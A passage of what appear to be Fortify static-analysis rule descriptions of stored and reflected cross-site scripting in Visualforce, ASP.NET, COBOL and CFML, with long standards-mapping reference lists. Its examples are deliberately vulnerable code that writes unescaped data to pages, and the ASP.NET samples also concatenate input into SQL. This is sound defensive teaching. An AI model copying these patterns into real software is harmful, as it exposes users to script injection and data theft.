<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>


This code behaves correctly when the values of name are well defined like just alphanumeric characters, but does nothing to check for malicious data. Even read from a database, the value should be properly validated because the content of the database can be originated from user-supplied data. This way, an attacker can have malicious commands executed in the user's web browser without the need to interact with the victim like in Reflected XSS. This type of attack, known as Stored XSS (or Persistent), can be very hard to detect since the data is indirectly provided to the vulnerable function and also have a higher impact due to the possibility to affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following Visualforce code segment reads an HTTP request parameter, username, and displays it to the user.


<script>
document.write('{!$CurrentPage.parameters.username}')
</script>


The code in this example was intended to receive only alphanumeric text and display it. However, if username contains metacharacters or source code, it will be executed by the web browser.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are two vectors by which an XSS attack can be executed:

- As in Example 1, the database or other data store can provide dangerous data to the application that will be included in dynamic content. From the attacker's perspective, the best place to store malicious content is an area accessible to all users specially those with elevated privileges, who are more likely to handle sensitive information or perform critical operations.

- As in Example 2, data is read from the HTTP request and reflected back in the HTTP response. Reflected XSS occurs when an attacker can have dangerous content delivered to a vulnerable web application and then reflected back to the user and execute by his browser. The most common mechanism to deliver malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to the victim. URLs crafted this way are the core of many phishing schemes, where the attacker lures the victim to visit the URL. After the site reflects the content back to the user, it is executed and can perform several actions like forward private sensitive information, execute unauthorized operations on the victim computer etc.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Salesforce Developers Technical Library Secure Coding Guidelines - Cross Site Scripting
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.apex.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ASP.NET Web Form queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>


Where EmployeeName is a form control defined as follows:


<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 2: The following ASP.NET code segment is functionally equivalent to Example 1, but implements all of the form elements programmatically.

protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;


These code examples function correctly when the values of name are well-behaved, but they do nothing to prevent exploits if they are not. This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 3: The following ASP.NET Web Form reads an employee ID number from an HTTP request and displays it to the user.

<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>


Where Login and EmployeeID are form controls defined as follows:


<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 4: The following ASP.NET code segment shows the programmatic way to implement Example 3.

protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;


As in Example 1 and Example 2, these examples operate correctly if Login contains only standard alphanumeric text. If Login has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks in order to lure victims into clicking a link. When the victims click the link, they unwittingly reflect the malicious content through the vulnerable web application and back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1 and Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 3 and Example 4, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

A number of modern web frameworks provide mechanisms to perform user input validation (including ASP.NET Request Validation and WCF). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. With ASP.NET Request Validation, we also provide evidence for when validation is explicitly disabled. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Anti-Cross Site Scripting Library MSDN
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.dotnet.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.

2. The data is included in dynamic content that is sent to a web browser without being validated.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.

EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...


The code in this example functions correctly when the values of ENAME are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of ENAME is read from a database, whose contents are apparently managed by the application. However, if the value of ENAME originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following code segment reads an employee ID, EID, from an HTML form and displays it to the user.


...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.

EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...


As in Example 1, this code operates correctly if EID contains only standard alphanumeric text. If EID has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker might perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 2, data is read directly from the HTML Form and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cobol.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following CFML code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

 
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>


